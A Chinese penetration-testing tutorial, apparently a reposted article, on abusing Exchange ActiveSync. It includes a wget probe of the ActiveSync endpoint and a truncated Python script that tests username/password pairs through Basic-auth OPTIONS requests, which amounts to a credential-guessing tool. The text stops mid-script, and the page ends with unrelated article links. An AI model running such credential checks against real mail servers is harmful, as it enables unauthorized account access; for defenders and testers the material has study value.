渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享
https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/
本文将要基于他们的研究 , 介绍通过Exchange ActiveSync访问内部文件共享的细节 , 记录研究心得 。
0x01 简介
本文将要介绍以下内容:
·通过Exchange ActiveSync验证用户邮箱口令
·Exchange ActiveSync开源代码测试
·通过Exchange ActiveSync访问内部文件共享的细节
·防御检测
0x02 基础知识
Exchange ActiveSync是一种Microsoft Exchange同步协议 , 该协议经过优化 , 以适用于高延迟和低宽带网络 。
该协议基于HTTP和XML , 使移动设备可以访问其电子邮件、日历、联系人和任务 , 并且在脱机工作时仍可以继续访问这些信息 。
简单理解 , 计算机用户通过owa(Outlook Web Access)访问邮件资源 , 手机用户通过eas(Exchange ActiveSync)访问邮件资源 。
0x03 通过Exchange ActiveSync验证用户邮箱口令
默认对应的URL:/Microsoft-Server-ActiveSync 。
可以直接通过浏览器进行访问 , 提示输入用户名和口令 。
输入正确的用户名和口令后 , 返回内容如下图:
本文插图
如果没有凭据 , 可直接通过wget命令获得服务器信息 , 命令实例:
wget https://192.168.1.1/Microsoft-Server-ActiveSync --no-check-certificate --debug
返回结果如下图:
本文插图
【渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享】
为了能够通过脚本实现口令验证 , 这里需要使用OPTIONS方法 , 如果凭据有效 , 返回状态码200 。
header部分加入HTTP基本认证(Basic Authentication) , 格式为Authorization: Basic < string >
< string >为"username:password" 用base64编码后的字符串 。
Python实现代码如下:
import requests
import base64
import sys
import warnings
warnings.filterwarnings("ignore")
def test_options_https(ip,username,password):
try:
credential = base64.b64encode(username+":"+password)
url = "https://" + ip + "/Microsoft-Server-ActiveSync"
headers = {
"User-Agent": "Mozilla/5.0 (X11 Linux x86_64 rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "text/html,application/xhtml+xml,application/xmlq=0.9,*/*q=0.8",
"Accept-Language": "en-US,enq=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/vnd.ms-sync.wbxml",
"Authorization": "Basic "+credential
}
r = requests.options(url, headers = headers, verify = False)
if r.status_code ==200:
print("[+] Valid: %s %s"%(username,password))
#print(r.headers)
else:
print("[!] Authentication failed")
except Exception as e:
print("[!]Error:%s"%e)
if __name__ == "__main__":
if len(sys.argv)!=4:
print("[!]Wrong parameter")
print("easCheck")
print("Use to check the valid credential of eas(Exchange Server ActiveSync)")
print("Usage:")
print("%s "%(sys.argv[0]))
print("Eg.")
推荐阅读
- 模型|REVIT技巧!如何创建能量模型,实现能量优化
- 手机使用技巧|宝宝照片太多怎么办?4种不占手机内存的存储方式,最后一种更安全
- 新机发布|小米神秘5G新机正式通过工信部入网,红米K30即将成明日黄花
- 行业互联网|最前线丨泰格医药通过港交所上市聆讯,或将实现“A+H”两地上市
- 电脑使用技巧|Word文字技巧—如何将Excel转换成Word
- windows系统,电脑使用技巧|第三方 Fluent Design 图标设计集预示未来 Win 10 风格
- 电脑使用技巧|写论文要注意什么问题?
- 电脑使用技巧|微软承认Windows 10新BUG:错误显示没有网络连接
- |三星Note20通过FCC认证:机身尺寸以及参数终于确认
- 电脑使用技巧|dos命令cd图文教程,改变当前目录路径chdir批处理